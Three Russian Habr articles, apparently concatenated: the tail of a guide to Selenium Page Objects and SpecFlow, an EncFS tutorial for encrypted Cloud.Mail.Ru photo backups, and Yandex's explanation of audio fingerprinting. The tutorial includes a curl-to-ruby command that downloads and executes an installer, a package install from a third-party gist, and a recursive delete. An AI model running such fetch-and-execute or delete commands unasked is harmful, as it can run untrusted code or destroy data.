var firstLink = PageHelper.WaitFor(w => w.FirstLink);
```
Не буду утомлять технической реализаций этих методов. Давайте посмотрим, как будет выглядеть код после рефакторинга.
```
[Test]
public void Google_SearchGangnamStyle_PsyYouTubeChanelIsOnTop()
{
try
{
var page = WebDriverContext.CreatePage(EnvironmentsConfiguration.CurrentEnvironmentBaseUrl);
page.EnterSearchQuery("gangnam style");
page.Search();
var expected = new KeyValuePair(
"PSY - YouTube",
"http://www.youtube.com/user/officialpsy");
var actual = page.GetElement().FirstResult;
Assert.AreEqual(expected, actual);
}
finally
{
WebDriverContext.GetInstance().Dispose();
}
}
```
На этом этапе стало гораздо лучше:1. Класс тестирования снял с себя управление драйвером и делегировал эти обязанности в класс страницы
2. Мы избавились от дублирования локаторов
3. Читаемость тестов улучшилась
Тесты
-----
После того, как мы вынесли локаторы и логику в Page Objects, код тестов стал лаконичнее и чище. Однако несколько вещей до сих пор не очень хороши:1. Логика создания веб-драйвера дублируется из теста в тест
2. Логика создания страницы в каждом методе тоже избыточна
3. Магические строчки, «gangnam style», «PSY — YouTube», ”http://www.youtube.com/user/officialpsy” мозолят глаза
4. Сам сценарий теста достаточно хрупок: результаты индексации могут измениться и нам придется менять код
Создадим базовый класс тестов
```
public class WebDriverTestsBase : TestsBase
where T:Page, new()
{
///
/// Page object instance
///
protected T Page { get; set; }
///
/// Relative Url to target Page Object
///
protected abstract string Url { get; }
[SetUp]
public virtual void SetUp()
{
WebDriverContext = WebDriverContext.GetInstance();
Page = Framework.Page.Create(
WebDriverContext.WebDriver,
EnvironmentsConfiguration.CurrentEnvironmentBaseUrl,
Url,
PageElements);
}
[TearDown]
public virtual void TearDown()
{
if (WebDriverContext.HasInstance)
{
var instance = WebDriverContext.GetInstance();
instance.Dispose();
}
}
}
```
Перепишем тест еще раз
```
public class GoogleExampleTest : WebDriverTestsBase
{
[Test]
public void Google\_SearchGangnamStyle\_PsyYouTubeChanelIsOnTop()
{
Page.EnterSearchQuery("gangnam style");
Page.Search();
var expected = new KeyValuePair(
"PSY - YouTube",
"http://www.youtube.com/user/officialpsy");
var actual = Page.GetElement().FirstResult;
Assert.AreEqual(expected, actual);
}
}
```
Уже почти идеально. Вынесем магические строки в атрибут TestCase и добавим комментарий к Assert’у
```
[TestCase("gangnam style", "PSY - YouTube", "http://www.youtube.com/user/officialpsy")]
public void Google_SearchGoogle_FirstResult(string query, string firstTitle, string firstLink)
{
Page.EnterSearchQuery(query);
Page.Search();
var expected = new KeyValuePair(firstTitle, firstLink);
var actual = Page.ResultsBlock.FirstResult;
Assert.AreEqual(expected, actual, string.Format(
"{1} ({2}) is not top result for query \"{0}\"",
firstTitle, firstLink, query));
}
```
1. Код теста стал понятным
2. Повторяющиеся операции перенесены в базовый класс
3. Мы предоставили достаточно информации, в случае падения теста все будет понятно из логов тест-ранера
4. Можно добавить сколько угодно входных и выходных параметров без изменения кода теста с помощью атрибута TestCase
DSL
---
В этом коде остались проблемы:1. Код стал понятным и чистым, но чтобы его поддерживать в таком состоянии квалификация специалистов, поддерживающих тесты должна быть соответствующей
2. У отдела QA, скорее всего есть свой тест-план, а наши авто-тесты пока с ним никак не коррелируют
3. Часто одни и те же шаги повторяются сразу в нескольких сценариях. Избежать дублирования кода можно с помощью наследования и агрегации, но это уже кажется сложной задачей, особенно учитывая то, что порядок шагов может быть разным
4. *Google\_SearchGangnamStyle\_PsyYouTubeChanelIsOnTop()*: CamelCase трудночитаем
С помощью плагина [SpecFlow](http://www.specflow.org/specflownew/), мы можем решить эти проблемы. SpecFlow позволяет записать тестовые сценарии в Given When Then стиле, а затем, автоматизировать их.
```
Feature: Google Search
As a user
I want to search in google
So that I can find relevent information
Scenario Outline: Search
Given I have opened Google main page
And I have entered
When I press search button
Then the result is ,
Examples:
|searchQuery |title |url
|gangnam style |PSY - YouTube |http://www.youtube.com/user/officialpsy
[Binding]
public class GoogleSearchSteps : WebDriverTestsBase
{
[Given("I have opened Google main page")]
public void OpenGooglePage()
{
// Page is already created on SetUp, so that's ok
}
[Given(@"I have entered (.\*)")]
public void EnterQuery(string searchQuery)
{
Page.EnterSearchQuery(searchQuery);
}
[When("I press search button")]
public void PressSearchButton()
{
Page.Search();
}
[Then("the result is (.\*), (.\*)")]
public void CheckResults(string title, string href)
{
var expected = new KeyValuePair(title, href);
var actual = Page.GetElement().FirstResult;
Assert.AreEqual(expected, actual);
}
}
```
Таким образом:1. Каждый шаг можно реализовывать лишь однажды
2. Атрибуты Given When Then поддерживают регулярные вырадения – можно создавать повторно использующиеся «функциональные» шаги
3. QA-отдел может записывать сценарии в проектах авто-тестов
4. Тестировщики могут писать DSL, а автоматизацию можно поручить программистам
5. В любой момент времени отчет о пройденных тестах, а значит и количестве разработанного функционала, доступен на CI-сервере
Подробнее о SpecFlow и управлении требованиями с Given When Then можно прочитать в [этой статье](http://habrahabr.ru/company/etnasoft/blog/166747/).
Гайдлайн автоматизатора
-----------------------
1. Избегайте хрупких и сложных локаторов
**Не правильно:**
```
[FindsBy(How = How.XPath, Using = "((//div[@class='dragContainer']/div[@class='dragHeader']" +
"/div[@class='dragContainerTitle'])[text()=\"Account Info\"])" +
"/../div[@class='dragContainerSettings']")]
public IWebElement SettingsButton { get; set; }
```
**Правильно:**
```
[FindsBy(How = How.Id, Using = "gbqfb")]
public IWebElement SubmitButton { get; set; }
```
Лучше всего использовать id. От id может зависеть java-script и фронт-эндщики поменяют его с меньшей вероятностью. Если вы не можете использовать id (динамическая разметка), используйте data-aid (automation-id), или аналогичный атрибут
2. Икапсулируйте логику вашего приложения в классах страниц (Page Objects), например LogonPage, RegistrationPage, HomePage, OrderPage и т.д.
3. Выделяйте виджеты и повторяющиеся блоки в «виджеты» (Page Elements), например: Header, Footer, LogonLogoff
4. Группируйте элементы в виджеты в зависимости от их отображения, например: ConfirmationPopup, EditPopup, AddPopup
5. Избегайте магических строк в коде теста, выносите их в свойства страниц и виджетов или в хелперы, например OrderSuccessMessage, RegistrationSuccessMessage, InvalidPasswordMessage. Это позволит избежать лишнего кода ожидания загрузки/появления элементов
6. Выносите повторяющиеся операции в базовые классы тестов, используйте SetUp, TearDown: создание и уничтожение драйвера, создание скриншотов с ошибками, аутентификация, улучшайте читаемость теста
7. Вынесите Page Objects в отдельную сборку, это поможет избежать дублирования виджетов/страниц. Сборок с тестами может быть много
8. Используйте Assert только в коде тестов, Assert’ы не должны содержаться в страницах и виджетах
9. Используйте Assert’ы, лучше всего описывающие, что именно вы проверяете. Это улучшит читаемость теста
**Не правильно:**
```
var actual = Page.Text == “Success”
Assert.IsTrue(actual);
```
**Правильно:**
```
Assert.AreEqual(MessageHelper.Success, Page.Text)
```
10. Используйте сообщения об ошибках в Assert’ах
```
Assert.AreEqual(MessageHelper.Success, Page.Text, “Registration process is not successfull”);
```
11. Избегайте использования Thread.Sleep в качестве таймаута для загрузки элементов. Используйте высокоуровневые абстракции, гарантирующие загрузку необходимых DOM-элементов, например:
```
Page.GetElement();
var firstLink = PageHelper.WaitFor(w => w.FirstLink);
```
12. Если вы не используете DSL пишите название тестов в формате *[Страница\_]Сценарий\_Ожидаемое Поведение*. Это поможет людям понять, какое именно поведение тестируется. Это может быть особенно важно при смене требований
13. В DSL группируйте шаги семантически и так, чтобы максимизировать повторное использование шагов
Не правильно:
```
I have logged as a user with empty cart
```
Правильно:
```
I have logged in
And my cart is empty
```
14. В DSL сравнивайте кортежи одним шагом, это позволит писать более лаконичный код и получать больше информации при падении теста
**Не правильно:**
```
When I open Profile page
I can see first name is “Patrick”
And I can see last name is “Jane”
And I can see phone is “+123 45-67-89”
```
**Правильно**
```
When I open Profile page
I can see profile info: Patrick Jane +123 45-67-89
```
15. Используйте black-box тестирование, вынесите инициализацию тестовых данных из кода тестов. Для этого хорошо подойдет, например SSDT-проект
16. Используйте CI для регулярного запуска тестов, сделайте так, чтобы результаты тестов были общедоступны и понятны
Очень хороший доклад от eBay об автоматизации тестирования можно посмотреть здесь: [www.youtube.com/watch?v=tJ0O8p5PajQ](https://www.youtube.com/watch?v=tJ0O8p5PajQ) | https://habr.com/ru/post/178407/ | null | ru | null |
# Облако.Mail.Ru + EncFS для резервного копирования домашнего фотоархива
[](http://img.leprosorium.com/2075385) В конце декабря Mail.Ru вновь (впервые с 1997 года ;) выпустила революционный продукт — облачное хранилище, первым активным пользователям которого бесплатно выдают один терабайт. 1 Тб — по меркам начала 2014-го года это совершенно эпический объем, по крайней мере в масштабе национальной отрасли ИТ. Ради справедливости можно отметить, что некоторые китайские компании [дают и больше](http://habrahabr.ru/post/208846), однако практическая применимость таких предложений для большинства читателей Хабрахабра выглядит сомнительной.
Небольшим изъяном актуальной версии Облака по мнению многих моих друзей и коллег выглядит то, что Облако (по крайней мере официально) не поддерживает WebDAV. Это не позволяет «из коробки» использовать шифрование с помощью простых и популярных в народе средств вроде Boxcryptor. Поскольку сам по себе Boxcryptor — это всего лишь удобная графическая надстройка над encfs+fuse, я решил для себя и для друзей составить короткую и простую инструкцию, как эффективно шифровать данные бэкапов в Облаке.Mail.Ru
#### Постановка задачи
Я продвинутый фотолюбитель. Мой фотоархив насчитывает примерно 600Гб данных, причем примерно половина из них — это выполненные в высоком разрешении сканы родительских слайдов, начиная с 1957 года. Почти все хранится в NEF+CR2 (это raw-форматы Canon и Nikon), каждая фотокарточка занимает от 15 до 60 мб. Иными словами, бесплатный терабайт от Flickr меня совсем не устраивал в частности из-за невозможности хранить необработанные исходники фото. Начиная с 2008-го года, резервирование архива выглядит так: раз в году я покупаю современный жесткий диск стоимостью 100 евро и копирую на него все содержимое предыдущего диска, а старый HDD отправляется «на пенсию» в медиа-сервер, который включается 3-4 раза в год. У этого подхода много достоинств (несмотря на смертность жестких дисков, данные еще ни разу не пропадали), но есть огромный недостаток — физическое расположение хранилища.
Я много путешествую по миру, и за последние 10 лет суммарно провел в России (где находится медиа-сервер и стопка «отставных» HDD) не более 4-х лет. Иногда случаются казусы, связанные с потерей внешних винчестеров — так я потерял значительную часть архива фотографий 2012-го года, которые банально не довез до своего дома на родине. На словах решение простое — «go cloud», а вот на деле тарифы всех мало-мальски удобных сервисов, позволявших заархивировать 1Тб оригиналов фотоизображений, были долгое время прямо-таки *заоблачными*.
И вот 20 декабря 2013 года нам было объявлено о том, что все желающие обладатели ящика на mail.ru могут получить в подарок 1 терабайт. Бесплатно. Для любых файлов. Но только у многих [возникают вопросы](http://habrahabr.ru/post/209430/#comment_7214154), как хранить свои данные в облаке в зашифрованном виде.
#### Пошаговое решение
###### Шаг 1
Зарегистрировать новый ящик на mail.ru, если у вас нет старого. Трудностей не должно возникнуть ни у кого.
###### Шаг 2
Установить на компьютер, на телефон или на планшет родной клиент cloud.mail.ru и залогиниться, приняв предложение. Пока до 20 января действует акция, вместо принятых по умолчанию 100 Гб (что тоже немало), вам дадут сразу 1024 Гб. Profit.
*Примечание для владельцев \*nix систем. Облако Mail.Ru по сравнению с другими облачными хостингами прекрасно тем, что позволяет задать произвольное имя для папки, в которой будут храниться синхронизирующие с облаком файлы. Рекомендую воспользоваться этим и назвать папку не по дефолту, а примерно так:*
```
$ mkdir ~/.Encrypted
```
*Для новичков отдельной строкой упомяну, в никсах если перед названием файла поставить точку, он будет скрытым — соответственно это позволит не засорять пользовательскую директорию визуальным мусором.*
Далее все зависит от используемой операционной системы. Лично я использую Mac OS X версии 10.9.x Mavericks, однако все то же самое можно сделать в Linux или Windows. К сожалению, ранним утром субботы у меня не оказалось под рукой лишнего Windows-ПК, однако ближе к вечеру я попробую заехать к родителям и дополнить эту инструкцию, рассмотрев случай с Windows 8.1. Для нетерпеливых замечу, что ключевые компоненты называются fuse4win и [encfs4win](http://members.ferrara.linux.it/freddy77/encfs.html) — с их установкой теоретически не должно быть никаких подводных камней.
###### Шаг 3
Если у вас нет менеджера портов или пакетов — ставим его. На этом шаге меня ждало некоторое разочарование, т.к. я по старинке использовал MacPorts, а после обновления до 10.9, порт encfs напрочь сломался. Поэтому я решил радикально обновить менеджер пакетов, и вместо морально устаревающего MacPorts поставил себе несколько более модный и популярный Homebrew. Для этой цели [официальная страница Homebrew](http://brew.sh/index_ru.html) предписывает выполнить в Терминале следующую команду:
```
$ ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"
```
После этого в системе появляется менеджер пакетов Homebrew, через который мы можем установить на Мак очень многие полезные утилиты, присущие более хардкорным \*nix системам.
Пользователи Windows могут с чистой душой пропустить этот шаг.
###### Шаг 4
Устанавливаем OSXFUSE командой
```
$ brew install osxfuse
```
На англоязычных форумах пишут, что предыдущая реализация fuse под Мак — MacFuse давно уже не поддерживается. В принципе, чисто теоретически можно установить OPENFUSE [отсюда](http://osxfuse.github.io/) в виде обычного пакета с графическим с пошаговым мастером, но поскольку для установки encfs нам в любом случае понадобится Homebrew, будем действовать идеологически правильно. Надеюсь, что это обстоятельство не отпугнет для новичков и чайников.
Пользователи Windows на этом шаге ставят себе библиотеку [Dokan](http://dokan-dev.net/en/) и [fuse4win](http://hg.sharesource.org/fuse4win). Если ничего не работает, а хочется эксперимента — смотрите [здесь](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=OperatingSystems#Windows). **Внимание. Работоспособность fuse4win мной пока не проверялась — [darii](https://habrahabr.ru/users/darii/).**
###### Шаг 5
Устанавливаем encfs. К сожалению, по аналогии с предыдущим пунктом сделать это у нас не получится (как я уже упоминал выше, пакет encfs еще не допилен под Maverics, и команда **brew install encfs** не сработает. На форумах и в блогах я нашел несколько корявое, по моему мнению, [решение](http://www.mulle-kybernetik.com/weblog/2013/11/osx-109-brew-osxfuse-encfs-mac.html):
```
$ brew install https://gist.github.com/defunctzombie/7324625/raw/8c791a397767b7f9e7f725e49a45151885e3c1cb/encfs.rb
```
С автором патча (defunctzombie aka [Roman Shtylman](http://shtylman.com/)) я не знаком, но при беглом анализе вышеприведенного файла, это действительно официальный патч, исправляющий [ошибку](https://code.google.com/p/encfs/issues/detail?id=185), связанную с sys/endian.h в encfs 1.7.x. Почему мантейнер не включил его в порт — неизвестно.
###### Шаг 6 (опциональный)
В принципе, все уже может работать, но для красоты можно поставить в систему генератор паролей apg и сгенерировать красивый 34-символьный пароль на зашифрованную партицию.
```
$ brew install apg
$ apg -M SNcL -m 34
```
###### Шаг 7
Первый запуск зашифрованной файловой системы. Убедимся, что в каталоге Облака нет никаких файлов (и удалим их, если они есть):
```
$ rm -rfv ~/.Encrypted/*
```
Затем создадим файловую систему:
```
$ encfs ~/.Encrypted ~/Backup
```
Выберем «pre-configured paranoia mode» (рекомендуемые базовые настройки для параноиков), нажав на клавиатуре латинскую букву «p». Введем пароль — и все готово.
Теперь у вас в пользовательской директории появилась папка Backup, в которую можно скинуть буквально все, что угодно — и в зашифрованном виде это появится в Облаке Mail.Ru. Можно это легко проверить, скопировав любой файл в папку Backup.
[](http://img.leprosorium.com/2075376)
#### Дополнение
В принципе, если вам неудобно хранить терабайт резервных копий домашней папке, никто не мешает создать папку .Encrypted, например, на внешнем диске. С другой стороны, конкретно описанный случай оптимален именно для регулярных, но нечастых бэкапов. Как только очередные 50Гб за очередной год благополучно оседают в недрах mail.ru, я захожу в меню выбора папок для синхронизации и снимаю галку. Единственный недостаток данного метода — необходимость где-нибудь хранить таблицу соответствий зашифрованных и нормальных имён этих папок (например, 1Gdea8rfaYDzyVjj4PJHo0a2 = 1999PHOTO). Слабые духом нелюбители отдельных блокнотиков могут на шаге 7 прочитать **man encfs** и отключить шифрование имен файлов (как это делается в бесплатной версии boxcryptor). Я же предпочитаю олдскулл |-)
#### Что можно сделать дальше?
В принципе вышеописанные действия уже достаточны для того, чтобы бэкапить фотографии раз в несколько месяцев, запуская синхронизацию вручную и монтируя зашифрованную файловую систему командой в консоли. Тем не менее, существует ряд графических (и не только) утилит под линукс и под мак, позволяющий осуществлять всякие более продвинутые вещи вроде автоматического монтирования зашифрованной партиции, работу по расписанию и так далее. Мне кажется, что я и так написал достаточно много текста, и поэтому прошу всех желающих проследовать за рецептами в любимую поисковую систему или в комментарии. Я также буду признателен, если кто-нибудь попробует воспроизвести озвученные шаги на windows-машине и отпишется в комментариях.
#### И последнее
О безопасности. Данное решение представляет собой лишь «защиту от чужих глаз» и достаточно для того, чтобы заархивировать домашний или даже коммерческий фотоархив. Тем не менее, на мой взгляд, было бы заблуждением использовать его для резервирования всяких действительно важных бизнес-данных, представляющих коммерческую тайну. Судя по [официальному сайту](http://www.arg0.net/encfs), сам алгоритм EncFS не менялся аж с 2005-го года, а последняя актуальная версия была выпущена осенью 2010-го. Недавний (13 явнваря 2014 г.) внешний независимый аудит решения EncFS [показал](http://sourceforge.net/mailarchive/message.php?msg_id=31849549) несоответствие этой технологии ряду современных требований к инструментам защиты конфиденциальных данных. Используйте EncFS с умом. | https://habr.com/ru/post/209500/ | null | ru | null |
# Как Яндекс распознаёт музыку с микрофона
Поиск по каталогу музыки — это задача, которую можно решать разными путями, как с точки зрения пользователя, так и технологически. Яндекс уже довольно давно научился искать и по названиям композиций, и [по текстам песен](http://yandex.ru/yandsearch?text=Oh%20I%20beg%20you%20can%20I%20follow%20Oh%20I%20ask%20you%20why%20not%20always&lr=213#toggle). На сказанные голосом запросы про музыку мы тоже умеем отвечать в [Яндекс.Поиске](http://mobile.yandex.ru/apps/search/) под iOS и Android, сегодня же речь пойдёт о поиске по аудиосигналу, а если конкретно — по записанному с микрофона фрагменту музыкального произведения. Именно такая функция встроена в [мобильное приложение Яндекс.Музыки](http://mobile.yandex.ru/apps/music/):
В мире есть всего несколько специализированных компаний, которые профессионально занимаются распознаванием музыкальных треков. Насколько нам известно, из поисковых компаний Яндекс стал первым, кто стал помогать российскому пользователю в решении этой задачи. Несмотря на то, что нам предстоит ещё немало сделать, качество распознавания уже сопоставимо с лидерами в этой области. К тому же поиск музыки по аудиофрагменту не самая тривиальная и освещённая в Рунете тема; надеемся, что многим будет любопытно узнать подробности.
**О достигнутом уровне качества**Базовым качеством мы называем процент валидных запросов, на которые дали релевантный ответ — сейчас около 80%. Релевантный ответ — это трек, в котором содержится запрос пользователя. Валидными считаем лишь те запросы из приложения Яндекс.Музыки, которые действительно содержат музыкальную запись, а не только шум или тишину. При запросе неизвестного нам произведения считаем ответ заведомо нерелевантным.
Технически задача формулируется следующим образом: на сервер поступает десятисекундный фрагмент записанного на смартфон аудиосигнала (мы его называем запросом), после чего среди известных нам треков необходимо найти ровно тот один, из которого фрагмент был записан. Если фрагмент не содержится ни в одном известном треке, равно как и если он вообще не является музыкальной записью, нужно ответить «ничего не найдено». Отвечать наиболее похожими по звучанию треками в случае отсутствия точного совпадения не требуется.
#### База треков
Как и в веб-поиске, чтобы хорошо искать, нужно иметь большую базу документов (в данном случае треков), и они должны быть корректно размечены: для каждого трека необходимо знать название, исполнителя и альбом. Как вы, наверное, уже догадались, у нас была такая база. Во-первых, это огромное число записей в Яндекс.Музыке, официально предоставленных правообладателями для прослушивания. Во-вторых, мы собрали подборку музыкальных треков, выложенных в интернете. Так мы получили 6 млн треков, которыми пользователи интересуются чаще всего.
**Зачем нам треки из интернета, и что мы с ними делаем**Наша цель как поисковой системы — полнота: на каждый валидный запрос мы должны давать релевантный ответ. В базе Яндекс.Музыки нет некоторых популярных исполнителей, не все правообладатели пока [участвуют](http://help.yandex.ru/music/performers-and-copyright-holders/copyright.xml) в этом проекте. С другой стороны, то что у нас нет права давать пользователям слушать какие-то треки с сервиса, вовсе не означает, что мы не можем их распознавать и сообщать имя исполнителя и название композиции.
Раз мы — зеркало интернета, мы собрали ID3-теги и дескрипторы каждого популярного в Сети трека, чтобы опознавать и те произведения, которых нет в базе Яндекс.Музыки. Хранить достаточно только эти метаданные — по ним мы показываем музыкальные видеоклипы, когда нашлись только записи из интернета.
#### Малоперспективные подходы
Как лучше сравнивать фрагмент с треками? Сразу отбросим заведомо неподходящие варианты.
1. **Побитовое сравнение**. Даже если принимать сигнал напрямую с оптического выхода цифрового проигрывателя, неточности возникнут в результате перекодирования. А на протяжении передачи сигнала есть много других источников искажений: громкоговоритель источника звука, акустика помещения, [неравномерная АЧХ микрофона](http://blog.faberacoustical.com/2010/ios/iphone/iphone-4-audio-and-frequency-response-limitations/), даже оцифровка с микрофона. Всё это делает неприменимым даже нечёткое побитовое сравнение.
2. **Водяные знаки**. Если бы Яндекс сам выпускал музыку или участвовал в производственном цикле выпуска всех записей, проигрываемых на радио, в кафе и на дискотеках — можно было бы встроить в треки звуковой аналог [«водяных знаков»](http://en.wikipedia.org/wiki/Digital_watermarking). Эти метки незаметны человеческому уху, но легко распознаются алгоритмами.
3. **Нестрогое сравнение спектрограмм.** Нам нужен способ нестрогого сравнения. Посмотрим на [спектрограммы](http://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0) оригинального трека и записанного фрагмента. Их вполне можно рассматривать как изображения, и искать среди изображений всех треков самую похожую (например, сравнивая как векторы с помощью одной из известных метрик, таких как [L²](http://en.wikipedia.org/wiki/Norm_(mathematics)#Euclidean_norm)):
Но в применении этого способа «в лоб» есть две сложности:
а) сравнение с 6 млн картинок — очевидно, дорогая операция. Даже огрубление полной спектрограммы, которое в целом сохраняет свойства сигнала, даёт несколько мегабайт несжатых данных.
б) оказывается что одни различия более показательны, чем другие.
В итоге, для каждого трека нам нужно минимальное количество наиболее характерных (т.е. кратко и точно описывающих трек) признаков.
#### Каким признакам не страшны искажения?
Основные проблемы возникают из-за шума и искажений на пути от источника сигнала до оцифровки с микрофона. Можно для разных треков сопоставлять оригинал с фрагментом, записанным в разных искусственно зашумлённых условиях — и по множеству примеров найти, какие характеристики лучше всего сохраняются. Оказывается, хорошо работают пики спектрограммы, выделенные тем или иным способом — например как точки локального максимума амплитуды. Высота пиков не подходит (АЧХ микрофона их меняет), а вот их местоположение на сетке «частота-время» мало меняется при зашумлении. Это наблюдение, в том или ином виде, используется во многих известных решениях — например, в [Echoprint](http://echoprint.me/). В среднем на один трек получается порядка 300 тыс. пиков — такой объём данных гораздо более реально сопоставлять с миллионами треков в базе, чем полную спектрограмму запроса.
Но даже если брать только местоположения пиков, тождественность множества пиков между запросом и отрезком оригинала — плохой критерий. По большому проценту заведомо известных нам фрагментов он ничего не находит. Причина — в погрешностях при записи запроса. Шум добавляет одни пики, глушит другие; АЧХ всей среды передачи сигнала может даже смещать частоту пиков. Так мы приходим к нестрогому сравнению множества пиков.
Нам нужно найти во всей базе отрезок трека, наиболее похожий на наш запрос. То есть:* сначала в каждом треке найти такое смещение по времени, где бы максимальное число пиков совпало с запросом;
* затем из всех треков выбрать тот, где совпадение оказалось наибольшим.
Для этого строим гистограмму: для каждой частоты пика, которая присутствует и в запросе, и в треке, откладываем +1 по оси Y в том смещении, где нашлось совпадение:
Трек с самой высоким столбцом в гистограмме и есть самый релевантный результат — а высота этого столбца является мерой близости между запросом и документом.
#### Борьба за точность поиска
Опыт показывает, что если искать по всем пикам равнозначно, мы будем часто находить неверные треки. Но ту же меру близости можно применять не только ко всей совокупности пиков документа, но и к любому подмножеству — например, только к наиболее воспроизводимым (устойчивым к искажениям). Заодно это и удешевит построение каждой гистограммы. Вот как мы выбираем такие пики.
**Отбор по времени:** сначала, внутри одной частоты, по оси времени от начала к концу записи запускаем воображаемое «опускающееся лезвие». При обнаружении каждого пика, который выше текущего положения лезвия, оно срезает «верхушку» — разницу между положением лезвия и высотой свежеобнаруженного пика. Затем лезвие поднимается на первоначальную высоту этого пика. Если же лезвие не «обнаружило» пика, оно немного опускается под собственной тяжестью.
**Разнообразие по частотам:** чтобы отдавать предпочтение наиболее разнообразным частотам, мы поднимаем лезвие не только в само́й частоте очередного пика, но и (в меньшей степени) в соседних с ней частотах.
**Отбор по частотам:** затем, внутри одного временно́го интервала, среди всех частот, выбираем самые контрастные пики, т.е. самые большие локальные максимумы среди срезанных «верхушек».
При отборе пиков есть несколько параметров: скорость опускания лезвия, число выбираемых пиков в каждом временно́м интервале и окрестность влияния пиков на соседей. И мы подобрали такую их комбинацию, при которой остаётся минимальное число пиков, но почти все они устойчивы к искажениям.
#### Ускорение поиска
Итак, мы нашли метрику близости, хорошо устойчивую к искажениям. Она обеспечивает хорошую точность поиска, но нужно ещё и добиться, чтобы наш поиск быстро отвечал пользователю. Для начала нужно научиться выбирать очень малое число треков-кандидатов для расчёта метрики, чтобы избежать полного перебора треков при поиске.
**Повышение уникальности ключей**: Можно было бы построить индекc
`Частота пика` → `(Трек, Местоположение в нём)`.
Увы, такой «словарь» возможных частот слишком беден (256 «слов» — интервалов, на которые мы разбиваем весь частотный диапазон). Большинство запросов содержит такой набор «слов», который находится в большинстве из наших 6 млн документов. Нужно найти более **отличительные** (discriminative) ключи — которые с большой вероятностью встречаются в релевантных документах, и с малой в нерелевантных.
Для этого хорошо подходят пары близко расположенных пиков. Каждая пара встречается гораздо реже.
У этого выигрыша есть своя цена — меньшая вероятность воспроизведения в искажённом сигнале. Если для отдельных пиков она в среднем P, то для пар — P2 (т.е. заведомо меньше). Чтобы скомпенсировать это, мы включаем каждый пик сразу в несколько пар. Это немного увеличивает размер индекса, но радикально сокращает число напрасно рассмотренных документов — почти на 3 порядка:
**Оценка выигрыша**Например, если включать каждый пик в 8 пар и «упаковать» каждую пару в 20 бит (тогда число уникальных значений пар возрастает до ≈1 млн), то:
* число ключей в запросе растёт в 8 раз
* число документов на ключ уменьшается в ≈4000 раз: ≈1 млн/256
* итого, число напрасно рассмотренных документов уменьшается в ≈500 раз: ≈4000/8
Отобрав с помощью пар малое число документов, можно переходить к их ранжированию. Гистограммы можно с тем же успехом применять к парам пиков, заменив совпадение одной частоты на совпадение обеих частот в паре.
**Двухэтапный поиск**: для дополнительного уменьшения объёма расчётов мы разбили поиск на два этапа:
1. Делаем предварительный отбор (pruning) треков по очень разреженному набору наиболее контрастных пиков. Параметры отбора подбираются так, чтобы максимально сузить круг документов, но сохранить в их числе наиболее релевантный результат
2. Выбирается гарантированно наилучший ответ — для отобранных треков считается точная релевантность по более полной выборке пиков, уже по индексу с другой структурой:
`Трек` → `(Пара частот, Местоположение в треке)`.
Такая двухэтапность ускорила поиск в 10 раз. Интересно, что в 80% случаев результат даже огрублённого ранжирования на первом этапе совпадает с самым релевантным ответом, полученным на втором этапе.
В результате всех описанных оптимизаций вся база, необходимая для поиска, стала в 15 раз меньше, чем сами файлы треков.
**Индекс в памяти**: И наконец, чтобы не ждать обращения к диску на каждый запрос, весь индекс размещён в оперативной памяти и распределён по множеству серверов, т.к. занимает единицы терабайт.
#### Ничего не найдено?
Случается, что для запрошенного фрагмента либо нет подходящего трека в нашей базе, либо фрагмент вообще не является записью какого-либо трека. Как принять решение, когда лучше ответить «ничего не найдено», чем показать «наименее неподходящий» трек? Отсекать по какому-нибудь порогу релевантности не удаётся — для разных фрагментов порог различается многократно, и единого значения на все случаи просто не существует. А вот если отсортировать отобранные документы по релевантности, форма кривой её значений даёт хороший критерий. Если мы знаем релевантный ответ, на кривой отчётливо видно резкое падение (перепад) релевантности, и напротив — пологая кривая подсказывает, что подходящих треков не найдено.
#### Что дальше
Как уже говорилось, мы в начале большого пути. Впереди целый ряд исследований и доработок для повышения качества поиска: например, в случаях искажения темпа и повышенного шума. Мы обязательно попробуем применить машинное обучение, чтобы использовать более разнообразный набор признаков и автоматически выбирать из них наиболее эффективные.
Кроме того, мы планируем инкрементальное распознавание, т.е. давать ответ уже по первым секундам фрагмента.
#### Другие задачи аудиопоиска по музыке
[Область информационного поиска по музыке](http://en.wikipedia.org/wiki/Music_information_retrieval) далеко не исчерпывается задачей с [фрагментом с микрофона](http://en.wikipedia.org/wiki/Audio_fingerprinting). Работа с «чистым», незашумлённым сигналом, претерпевшим только пережатие, позволяет **находить дублирующиеся треки** в обширной коллекции музыки, а также обнаруживать потенциальные **нарушения авторского права**. А поиск неточных совпадений и разного вида **схожести** — целое направление, включающее в себя поиск кавер-версий и ремиксов, извлечение музыкальных характеристик (ритм, жанр, композитор) для построения рекомендаций, а также поиск плагиата.
Отдельно выделим задачу поиска по **напетому отрывку**. Она, в отличие от распознавания по фрагменту музыкальной записи, требует принципиально другого подхода: вместо аудиозаписи, как правило, используется нотное представление произведения, а зачастую и запроса. Точность таких решений получается сильно хуже (как минимум, из-за несопоставимо бо́льшего разброса вариаций запроса), а поэтому хорошо они опознают лишь наиболее популярные произведения.
#### Что почитать
* Avery Wang: [«An Industrial-Strength Audio Search Algorithm»](http://www.ee.columbia.edu/~dpwe/papers/Wang03-shazam.pdf), Proc. 2003 ISMIR International Symposium on Music Information Retrieval, Baltimore, MD, Oct. 2003. Эта статья впервые (насколько нам известно) предлагает использовать пики спектрограммы и пары пиков как признаки, устойчивые к типичным искажениям сигнала.
* D. Ellis (2009): [«Robust Landmark-Based Audio Fingerprinting»](http://labrosa.ee.columbia.edu/matlab/fingerprint/). В этой работе даётся конкрентый пример реализации отбора пиков и их пар с помощью «decaying threshold» (в нашем вольном переводе — «опускающегося лезвия»).
* Jaap Haitsma, Ton Kalker (2002): [«A Highly Robust Audio Fingerprinting System»](http://ismir2002.ismir.net/proceedings/02-FP04-2.pdf). В данной статье предложено кодировать последовательные блоки аудио 32 битами, каждый бит описывает изменение энергии в своем диапазоне частот. Описанный подход легко обобщается на случай произвольного кодирования последовательности блоков аудиосигнала.
* Nick Palmer: [«Review of audio fingerprinting algorithms and looking into a multi-faceted approach to fingerprint generation»](http://palmnet.me.uk/uni/FYP/Audio%20Fingerprinting.pdf). Основной интерес в данной работе представляет обзор существующих подходов к решению описанной задачи. Также описаны этапы возможной реализации.
